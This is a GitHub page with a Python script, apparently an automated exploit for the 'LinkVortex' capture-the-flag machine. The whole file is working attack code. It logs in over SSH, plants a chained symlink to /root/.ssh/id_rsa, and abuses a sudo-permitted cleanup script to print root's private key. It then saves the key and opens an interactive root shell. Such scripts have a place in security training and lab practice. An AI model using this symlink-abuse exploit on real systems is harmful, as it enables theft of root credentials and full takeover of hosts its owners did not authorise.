-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathautopwn_root.py
More file actions
100 lines (79 loc) · 3.26 KB
/
autopwn_root.py
File metadata and controls
100 lines (79 loc) · 3.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
import argparse
import paramiko
import time
import re
import sys, signal
def contr_c(sig, frame):
print(f"\n[!] Exiting the program...")
sys.exit(1)
signal.signal(signal.SIGINT, contr_c)
def create_symlinks(ssh):
cmds = [
"ln -s /root/.ssh/id_rsa id_rsa.txt",
"ln -s /home/bob/id_rsa.txt id_rsa.png"
]
for cmd in cmds:
stdin, stdout, stderr = ssh.exec_command(cmd)
stdout.channel.recv_exit_status()
def extract_id_rsa(ssh, script_path):
cmd = f"sudo CHECK_CONTENT=true /usr/bin/bash {script_path} id_rsa.png"
stdin, stdout, stderr = ssh.exec_command(cmd)
output = stdout.read().decode()
match = re.search(r"-----BEGIN OPENSSH PRIVATE KEY-----(.*?)-----END OPENSSH PRIVATE KEY-----", output, re.DOTALL)
if match:
private_key = "-----BEGIN OPENSSH PRIVATE KEY-----" + match.group(1) + "-----END OPENSSH PRIVATE KEY-----"
return private_key.strip()
else:
print("[!] Could not extract private key.")
return None
def save_private_key(private_key, filename="id_rsa_root"):
with open(filename, "w") as f:
f.write(private_key)
import os
os.chmod(filename, 0o600)
print(f"[+] Private key saved to {filename}")
def root_shell(ip, key_path):
key = paramiko.RSAKey.from_private_key_file(key_path)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, username="root", pkey=key)
chan = ssh.invoke_shell()
print("[+] Root shell established. Type commands below.\n")
try:
while True:
cmd = input("root@linkvortex:~# ")
if cmd.strip() == "exit":
break
chan.send(cmd + "\n")
time.sleep(0.5)
while chan.recv_ready():
print(chan.recv(4096).decode(), end="")
except KeyboardInterrupt:
print("\n[!] Interrupted by user.")
finally:
ssh.close()
def main():
parser = argparse.ArgumentParser(description="AutoPWN root via symlink abuse on LinkVortex")
parser.add_argument("--target", required=True, help="Target IP address")
parser.add_argument("--user", required=True, help="SSH username (bob)")
parser.add_argument("--password", required=True, help="SSH password")
parser.add_argument("--script-path", default="/opt/ghost/clean_symlink.sh", help="Path to clean_symlink.sh")
parser.add_argument("--key-out", default="id_rsa_root", help="Where to save extracted private key")
args = parser.parse_args()
print(f"[+] Connecting to {args.user}@{args.target}...")
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(args.target, username=args.user, password=args.password)
print("[+] Creating symlinks...")
create_symlinks(ssh)
print("[+] Executing vulnerable script to dump root key...")
private_key = extract_id_rsa(ssh, args.script_path)
if not private_key:
ssh.close()
return
save_private_key(private_key, args.key_out)
ssh.close()
print("[+] Connecting to root with extracted private key...\n")
root_shell(args.target, args.key_out)
if __name__ == "__main__":
main()